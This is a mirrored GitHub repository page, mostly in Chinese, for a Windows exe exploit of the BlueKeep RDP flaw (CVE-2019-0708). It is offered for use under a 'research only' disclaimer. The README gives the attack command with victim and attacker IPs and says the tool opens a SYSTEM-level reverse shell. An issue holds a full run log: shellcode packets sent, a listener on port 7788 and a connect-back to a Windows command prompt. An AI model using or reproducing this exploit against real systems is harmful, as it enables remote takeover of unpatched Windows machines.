Coder Social home page Coder Social logo

cbwang505 / cve-2019-0708-exp-windows Goto Github PK

View Code? Open in Web Editor NEW
322.0 6.0 69.0 258.66 MB

CVE-2019-0708-EXP-Windows版单文件exe版,运行后直接在当前控制台反弹System权限Shell

Home Page: https://blog.csdn.net/oshuangyue12

License: Academic Free License v3.0

CMake 7.08% C 80.00% C++ 1.62% Tcl 0.02% Objective-C 7.36% CSS 0.04% HTML 0.62% Java 2.68% Rich Text Format 0.01% Roff 0.08% Assembly 0.15% Makefile 0.01% Shell 0.16% Python 0.06% C# 0.06% Perl 0.05%

cve-2019-0708-exp-windows's Introduction

CVE-2019-0708-EXP-Windows-Version

申明

作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关

目录

[toc]

介绍

CVE-2019-0708-EXP-Windows版单文件exe运行,无需linux,python,ruby等,运行后直接在当前控制台反弹System权限Shell

编译采用全静态库模式内联所有dll,集成netcat和openssl,支持进度条显示,shell回显操作

复现环境

  1. 被攻击者操作系统Victim:Windows 7 sp1 x64位操作系统
  2. 攻击者操作系统Attacker:Windows 10 x64位操作系统
  3. 编译环境Visual Studio 2013

使用说明

  1. 进入CVE-2019-0708-EXP-Release目录
  2. 运行wfreerdp.exe /v:Victim_IP /l:Attacker_IP,如wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17

安装教程

  1. 复制FreeRDP-master项目至E:\git\KernelResearch\FreeRDP-master\
  2. 安装Openssl编译环境,或者直接解压openssl.7z至C:\openssl\使用已编译好的Openssl环境
  3. 安装Nasm编译环境
  4. 以管理员身份安装cmake-3.15.3-win64-x64.msi
  5. 添加C:\Program Files\CMake\bin至path环境变量
  6. 重启计算机
  7. 运行"C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt
  8. 编译项目,如果发现仍然缺少文件,可以从FreeRDP-master-restore.7z还原
Openssl编译环境安装教程
  1. 解压openssl-1.0.2s.tar.gz至C:\openssl\
  2. 安装ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
  3. 添加C:\Perl64\bin至path环境变量
  4. 打开VS2013 x64 本机工具命令提示,在开始菜单中可以找到
  5. 运行 perl Configure VC-WIN64A
  6. 运行 cd /d C:\openssl\
  7. 运行 ms\do_win64a
  8. 接下来开始编译,可以采用以下几种模式,exp中采用的是静态库模式: 编译OpenSSL动态库:nmake -f ms\ntdll.mak 编译OpenSSL静态库:nmake -f ms\nt.mak 测试OpenSSL动态库:nmake -f ms\ntdll.mak test 测试OpenSSL静态库:nmake -f ms\nt.mak test 安装OpenSSL动态库:nmake -f ms\ntdll.mak install 安装OpenSSL静态库:nmake -f ms\nt.mak install 清除上次OpenSSL动态库的编译,以便重新编译:nmake -f ms\ntdll.mak clean 清除上次OpenSSL静态库的编译,以便重新编译:nmake -f ms\nt.mak clean
  9. 完成后自己去out32下找libeay32.lib和ssleay32.lib文件复制到C:\openssl\lib\
Nasm编译环境安装教程
  1. 以管理员身份安装nasm-2.14.02-installer-x64.exe
  2. 添加C:\Program Files\NASM至path环境变量
  3. 解压nasmBuildCustomizations.rar其中3个文件至C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
  4. 选中client->common->freerdp-client工程目录右击->"生成依赖项"->"生成自定义",然后勾选nasm这一项(注意不是masm)
  5. 如果在freerdp-client工程中选择任意asm文件,右键菜单出现编译选项,即表示Nasm编译环境安装成功

运行效果

点击查看大图

项目托管

我的poc地址

参与贡献

作者来自ZheJiang Guoli Security Technology,邮箱[email protected]

cve-2019-0708-exp-windows's People

Contributors

cbwang505 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

cve-2019-0708-exp-windows's Issues

编译好的EXE执行报错了,没成功。

F:\CVE-2019-0708>exp.exe /v:192.168.200.27 /l:192.168.80.6
[]Set PayloadIpHex Host: 192.168.80.6 Port: 7788
[
]Client initialized start to attack..
[]Loading virtual channelEx rdpdr
[
]Loading virtual channelEx rdpsnd
[]Loading virtual channelEx cliprdr
[
]Loading virtual channelEx MS_T120
[]Listening reverse shell on [any] 7788 ...
[
]Local framebuffer format PIXEL_FORMAT_BGRX32
[]Remote framebuffer format PIXEL_FORMAT_RGB16
[
]Loaded fake backend for rdpsnd
[][!]Start send control_rip first
[
][!]Start send create_free_trigger
[][+]Sending MS_T120 channel free_trigger packet (size: 0x1c)
[
][!]Start send control_rip next
[][!]Start send shellcode wait a few times
[
][+]Found kernel_shellcode_len packet (size: 0x369)
[][+]Found user_shellcode_len packet (size: 0x29)
[
]Progress[██████████████████████████████████████████████████]100.0% %%%%%%
[][!]Start send shellcode done
[
][!]Start send rdp connection terminate packet
[]BIO_read returned a system error 0: No error
[
]freerdp_check_fds() failed - 0
[]Network disconnect!
[
]Failed to check FreeRDP file descriptor
[]WaitForSingleObject failed with error 6!
[
]rdpdr_virtual_channel_event_disconnected failed with error 6!
[]pressing ctrl+c or ctrl+break to exit
[
]Warning: forward host lookup failed for bogon: h_errno 11001
[*]connect to [192.168.80.6] from bogon [192.168.200.27] 1035
Microsoft Windows [.... 6.1.7601]
........ (c) 2009 Microsoft Corporation................

用MSF打就成了。试了几次都没成果。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.